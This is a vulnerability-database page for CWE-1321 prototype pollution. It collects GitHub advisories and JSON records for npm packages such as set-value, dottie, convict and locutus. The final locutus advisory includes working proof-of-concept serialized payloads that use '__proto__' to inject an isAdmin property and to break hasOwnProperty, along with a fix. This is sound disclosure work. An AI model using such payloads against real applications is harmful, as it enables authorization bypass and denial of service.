Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

821 vulnerabilities reference this CWE, most recent first.

GHSA-4G88-FPPR-53PP

Vulnerability from github – Published: 2019-08-27 17:43 – Updated: 2021-08-17 22:17

Summary

Prototype Pollution in set-value

Details

Versions of set-value prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The set function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.

Recommendation

If you are using set-value 3.x, upgrade to version 3.0.1 or later. If you are using set-value 2.x, upgrade to version 2.0.1 or later.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "set-value"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "set-value"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-08-27T17:24:50Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Versions of `set-value` prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The `set` function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n\n\n\n## Recommendation\n\nIf you are using `set-value` 3.x, upgrade to version 3.0.1 or later.\nIf you are using `set-value` 2.x, upgrade to version 2.0.1 or later.",
  "id": "GHSA-4g88-fppr-53pp",
  "modified": "2021-08-17T22:17:11Z",
  "published": "2019-08-27T17:43:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/set-value/commit/95e9d9923f8a8b4a01da1ea138fcc39ec7b6b15f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/set-value/commit/cb12f14955dde6e61829d70d1851bfea6a3c31ad"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/b46f35559c4a97cf74d2dd7fe5a48f8abf2ff37f879083920af9b292@%3Cdev.drat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3EJ36KV6MXQPUYTFCCTDY54E5Y7QP3AV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E3HNLQZQINMZK6GYB2UTKK4VU7WBV2OT"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SETVALUE-450213"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in set-value"
}

GHSA-4GXF-G5GF-22H4

Vulnerability from github – Published: 2023-06-10 06:30 – Updated: 2023-06-12 18:34

Summary

dottie vulnerable to Prototype Pollution

Details

Versions of the package dottie before 2.0.4 are vulnerable to Prototype Pollution due to insufficient checks, via the set() function and the current variable in the /dottie.js file.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dottie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-12T18:34:39Z",
    "nvd_published_at": "2023-06-10T05:15:08Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package dottie before 2.0.4 are vulnerable to Prototype Pollution due to insufficient checks, via the `set()` function and the current variable in the `/dottie.js` file.",
  "id": "GHSA-4gxf-g5gf-22h4",
  "modified": "2023-06-12T18:34:39Z",
  "published": "2023-06-10T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mickhansen/dottie.js/commit/7d3aee1c9c3c842720506e131de7e181e5c8db68"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mickhansen/dottie.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mickhansen/dottie.js/blob/b48e22714aae4489ea6276452f22cc61980ba5a4/dottie.js#L107"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-DOTTIE-3332763"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dottie vulnerable to Prototype Pollution"
}

GHSA-4H4X-4M75-47J4

Vulnerability from github – Published: 2025-03-28 21:30 – Updated: 2025-03-31 15:56

Summary

depath and cool-path vulnerable to Prototype Pollution via `set()` Method

Details

janryWang products depath v1.0.6 and cool-path v1.1.2 were discovered to contain a prototype pollution via the set() method at setIn (lib/index.js:90). This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

Severity

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "depath"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "cool-path"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-38985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-31T15:56:47Z",
    "nvd_published_at": "2025-03-28T21:15:16Z",
    "severity": "HIGH"
  },
  "details": "janryWang products depath v1.0.6 and cool-path v1.1.2 were discovered to contain a prototype pollution via the set() method at setIn (lib/index.js:90). This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
  "id": "GHSA-4h4x-4m75-47j4",
  "modified": "2025-03-31T15:56:47Z",
  "published": "2025-03-28T21:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38985"
    },
    {
      "type": "WEB",
      "url": "https://github.com/janryWang/depath/issues/11"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/32c0a48023036e51918f6a098f21953d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/janryWang/depath"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "depath and cool-path vulnerable to Prototype Pollution via `set()` Method"
}

GHSA-4HQ8-JGR8-MW9J

Vulnerability from github – Published: 2022-07-18 00:00 – Updated: 2022-08-05 15:54

Summary

grunt-util-property 0.0.2 function call can add/modify properties of Object.prototype using a __proto__ payload

Details

This affects all versions of package grunt-util-property. The function call could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "grunt-util-property"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-21T21:37:35Z",
    "nvd_published_at": "2022-07-17T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects all versions of package grunt-util-property. The function call could be tricked into adding or modifying properties of `Object.prototype` using a `__proto__` payload.",
  "id": "GHSA-4hq8-jgr8-mw9j",
  "modified": "2022-08-05T15:54:03Z",
  "published": "2022-07-18T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7641"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mikaelkaron/grunt-util-property"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mikaelkaron/grunt-util-property/blob/master/main.js%23L41"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-GRUNTUTILPROPERTY-565088"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "grunt-util-property 0.0.2 function call can add/modify properties of Object.prototype using a __proto__ payload"
}

GHSA-4HWX-XCC5-2HFC

Vulnerability from github – Published: 2025-04-07 16:38 – Updated: 2025-04-07 16:38

Summary

tarteaucitron.js allows prototype pollution via custom text injection

Details

A vulnerability was identified in tarteaucitron.js, where the addOrUpdate function, used for applying custom texts, did not properly validate input. This allowed an attacker with direct access to the site's source code or a CMS plugin to manipulate JavaScript object prototypes, leading to potential security risks such as data corruption or unintended code execution.

Impact

An attacker with high privileges could exploit this vulnerability to: - Modify object prototypes, affecting core JavaScript behavior, - Cause application crashes or unexpected behavior, - Potentially introduce further security vulnerabilities depending on the application's architecture.

Fix https://github.com/AmauriC/tarteaucitron.js/commit/74c354c413ee3f82dff97a15a0a43942887c2b5b

The issue was resolved by ensuring that user-controlled inputs cannot modify JavaScript object prototypes.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tarteaucitronjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.20.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-31475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T16:38:52Z",
    "nvd_published_at": "2025-04-07T15:15:44Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in `tarteaucitron.js`, where the `addOrUpdate` function, used for applying custom texts, did not properly validate input. This allowed an attacker with direct access to the site\u0027s source code or a CMS plugin to manipulate JavaScript object prototypes, leading to potential security risks such as data corruption or unintended code execution.\n\n## Impact\nAn attacker with high privileges could exploit this vulnerability to:\n- Modify object prototypes, affecting core JavaScript behavior,\n- Cause application crashes or unexpected behavior,\n- Potentially introduce further security vulnerabilities depending on the application\u0027s architecture.\n\n## Fix https://github.com/AmauriC/tarteaucitron.js/commit/74c354c413ee3f82dff97a15a0a43942887c2b5b\nThe issue was resolved by ensuring that user-controlled inputs cannot modify JavaScript object prototypes.",
  "id": "GHSA-4hwx-xcc5-2hfc",
  "modified": "2025-04-07T16:38:52Z",
  "published": "2025-04-07T16:38:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AmauriC/tarteaucitron.js/security/advisories/GHSA-4hwx-xcc5-2hfc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31475"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AmauriC/tarteaucitron.js/commit/74c354c413ee3f82dff97a15a0a43942887c2b5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AmauriC/tarteaucitron.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tarteaucitron.js allows prototype pollution via custom text injection"
}

GHSA-4JJ4-M52P-8RX3

Vulnerability from github – Published: 2021-04-13 15:24 – Updated: 2021-04-07 22:31

Summary

Prototype pollution in set-object-value

Details

Prototype pollution vulnerability in 'set-object-value' versions 0.0.0 through 0.0.5 allows an attacker to cause a denial of service and may lead to remote code execution.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "set-object-value"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-07T22:31:58Z",
    "nvd_published_at": "2020-12-29T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in \u0027set-object-value\u0027 versions 0.0.0 through 0.0.5 allows an attacker to cause a denial of service and may lead to remote code execution.",
  "id": "GHSA-4jj4-m52p-8rx3",
  "modified": "2021-04-07T22:31:58Z",
  "published": "2021-04-13T15:24:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/react-atomic/react-atomic-organism/blob/e5645a2f9e632ffdebc83d720498831e09754c22/packages/lib/set-object-value/src/index.js#L16"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28281"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in set-object-value"
}

GHSA-4JQC-8M5R-9RPR

Vulnerability from github – Published: 2021-09-13 20:09 – Updated: 2023-11-03 20:24

Summary

Prototype Pollution in set-value

Details

This affects the package set-value. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "set-value"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "set-value-nuget"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "set-value"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "set-value"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-13T19:33:18Z",
    "nvd_published_at": "2021-09-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects the package `set-value`. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.",
  "id": "GHSA-4jqc-8m5r-9rpr",
  "modified": "2023-11-03T20:24:57Z",
  "published": "2021-09-13T20:09:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23440"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/set-value/pull/33"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/set-value/pull/33/commits/383b72d47c74a55ae8b6e231da548f9280a4296a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/set-value/commit/09c4b108fea3c0260008590053ff13da64913245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/set-value/commit/7cf8073bb06bf0c15e08475f9f952823b4576452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/set-value/commit/cb12f14955dde6e61829d70d1851bfea6a3c31ad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jonschlinkert/set-value"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1584212"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SETVALUE-1540541"
    },
    {
      "type": "WEB",
      "url": "https://www.huntr.dev/bounties/2eae1159-01de-4f82-a177-7478a408c4a2"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in set-value"
}

GHSA-4JRM-C32X-W4JF

Vulnerability from github – Published: 2023-01-10 21:50 – Updated: 2024-11-26 18:58

Summary

convict vulnerable to Prototype Pollution

Details

Impact

An attacker can inject attributes that are used in other components
An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.

The main use case of Convict is for handling server-side configurations written by the admins owning the servers, and not random users. So it's unlikely that an admin would deliberately sabotage their own server. Still a situation can happen where an admin not knowledgeable about JavaScript could be tricked by an attacker into writing the malicious JavaScript code into some config files.

Patches

The problem is patched in convict@6.2.4. Users should upgrade to convict@6.2.4.

Workarounds

No way for users to fix or remediate the vulnerability without upgrading

References

https://github.com/mozilla/node-convict/issues/410

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.3 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "convict"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-0163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-10T21:50:00Z",
    "nvd_published_at": "2024-11-26T12:15:17Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n* An attacker can inject attributes that are used in other components\n* An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.\n\nThe main use case of Convict is for handling server-side configurations written by the admins owning the servers, and not random users. So it\u0027s unlikely that an admin would deliberately sabotage their own server. Still a situation can happen where an admin not knowledgeable about JavaScript could be tricked by an attacker into writing the malicious JavaScript code into some config files.\n\n### Patches\nThe problem is patched in `convict@6.2.4`. Users should upgrade to `convict@6.2.4`.\n\n### Workarounds\nNo way for users to fix or remediate the vulnerability without upgrading\n\n### References\nhttps://github.com/mozilla/node-convict/issues/410\n",
  "id": "GHSA-4jrm-c32x-w4jf",
  "modified": "2024-11-26T18:58:52Z",
  "published": "2023-01-10T21:50:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/security/advisories/GHSA-4jrm-c32x-w4jf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0163"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/issues/410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/commit/fb602fbe1e9f14f2e88ecb8179d0f76466d21ecb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/node-convict"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "convict vulnerable to Prototype Pollution"
}

GHSA-4M8H-H59M-M34J

Vulnerability from github – Published: 2022-02-01 00:50 – Updated: 2022-02-07 21:21

Summary

Prototype Pollution in bmoor

Details

The package bmoor before 0.10.1 is vulnerable to Prototype Pollution due to missing sanitization in set function. Note: This vulnerability derives from an incomplete fix in CVE-2020-7736

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "bmoor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-31T20:51:31Z",
    "nvd_published_at": "2022-01-28T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "The package bmoor before 0.10.1 is vulnerable to Prototype Pollution due to missing sanitization in set function. **Note:** This vulnerability derives from an incomplete fix in [CVE-2020-7736](https://security.snyk.io/vuln/SNYK-JS-BMOOR-598664)",
  "id": "GHSA-4m8h-h59m-m34j",
  "modified": "2022-02-07T21:21:00Z",
  "published": "2022-02-01T00:50:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23558"
    },
    {
      "type": "WEB",
      "url": "https://github.com/b-heilman/bmoor/commit/29b0162cc1dc1791fc060891f568b0ae29bc542b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/b-heilman/bmoor"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-BMOOR-598664"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/blog/remediate-javascript-type-confusion-bypassed-input-validation"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-BMOOR-2342622"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in bmoor"
}

GHSA-4MPH-V827-F877

Vulnerability from github – Published: 2026-03-27 17:57 – Updated: 2026-03-30 20:14

Summary

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Details

Summary

The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.

This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.

Details

The vulnerable code is in two functions within src/php/var/unserialize.ts:

expectArrayItems() at line 358:

// src/php/var/unserialize.ts:329-366
function expectArrayItems(
  str: string,
  expectedItems = 0,
  cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
  // ...
  const items: UnserializedObject = {}
  // ...
  for (let i = 0; i < expectedItems; i++) {
    key = expectKeyOrIndex(str)
    // ...
    item = expectType(str, cache)
    // ...
    items[String(key[0])] = item[0]  // line 358 — no __proto__ filtering
  }
  // ...
}

expectObject() at line 278:

// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
  // ...
  const obj: UnserializedObject = {}
  // ...
  for (let i = 0; i < propCount; i++) {
    // ...
    obj[String(prop[0])] = value[0]  // line 278 — no __proto__ filtering
  }
  // ...
}

Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:

Properties in the attacker-supplied prototype become accessible via dot notation and the in operator
These properties are invisible to Object.keys(), JSON.stringify(), and hasOwnProperty()
They propagate to copies made via for...in loops, becoming real own properties
The attacker can override hasOwnProperty, toString, valueOf with non-function values

Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.

This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.

PoC

Setup:

npm install locutus@3.0.24

Step 1 — Property injection via array deserialization:

import { unserialize } from 'locutus/php/var/unserialize';

const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);

console.log(config.isAdmin);           // true (injected via prototype)
console.log(Object.keys(config));      // ['name'] — isAdmin is hidden
console.log('isAdmin' in config);      // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty

Verified output:

true
[ 'name' ]
true
false

Step 2 — for...in propagation makes injected properties real:

const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin);                     // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin'));    // true

Verified output:

true
true

Step 3 — Method override denial of service:

const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x');  // TypeError: obj.hasOwnProperty is not a function

Verified output:

TypeError: obj.hasOwnProperty is not a function

Step 4 — Object type (stdClass) is also vulnerable:

const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const obj2 = unserialize(payload3);
console.log(obj2.isAdmin);       // true
console.log('isAdmin' in obj2);  // true

Step 5 — Confirm NOT global pollution:

console.log(({}).isAdmin);  // undefined — global Object.prototype is clean

Impact

Property injection: Attacker-controlled properties become accessible on the deserialized object via dot notation and the in operator while being invisible to Object.keys() and hasOwnProperty(). Applications that use if (config.isAdmin) or if ('role' in config) patterns on deserialized data are vulnerable to authorization bypass.
Property propagation: When consuming code copies the object using for...in (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent hasOwnProperty checks.
Denial of service: The injected prototype can override hasOwnProperty, toString, valueOf, and other Object.prototype methods with non-function values, causing TypeError when these methods are called on the deserialized object.

The primary use case for locutus unserialize is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.

Recommended Fix

Filter dangerous keys before assignment in both expectArrayItems and expectObject. Use Object.defineProperty to create a data property without triggering the __proto__ setter:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

// In expectArrayItems (line 358) and expectObject (line 278):
const keyStr = String(key[0]); // or String(prop[0]) in expectObject
if (DANGEROUS_KEYS.has(keyStr)) {
  Object.defineProperty(items, keyStr, {
    value: item[0],
    writable: true,
    enumerable: true,
    configurable: true,
  });
} else {
  items[keyStr] = item[0];
}

Alternatively, create objects with a null prototype to prevent __proto__ setter invocation entirely:

// Replace: const items: UnserializedObject = {}
// With:
const items = Object.create(null) as UnserializedObject;

The Object.create(null) approach is more robust as it prevents the __proto__ setter from ever being triggered, regardless of key value.

Maintainer Reponse

Thank you for the report. This issue was reproduced locally against locutus@3.0.24, confirming that unserialize() was vulnerable to __proto__-driven prototype injection on the returned object.

This is now fixed on main and released in locutus@3.0.25.

Fix Shipped In

PR: #597
Merge commit on main: 345a6211e1e6f939f96a7090bfeff642c9fcf9e4
Release: v3.0.25

What the Fix Does

The fix hardens src/php/var/unserialize.ts by treating __proto__, constructor, and prototype as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.

Tested Repro Before the Fix

Attacker-controlled serialized __proto__ key produced inherited properties on the returned object
Object.keys() hid the injected key while 'key' in obj stayed true
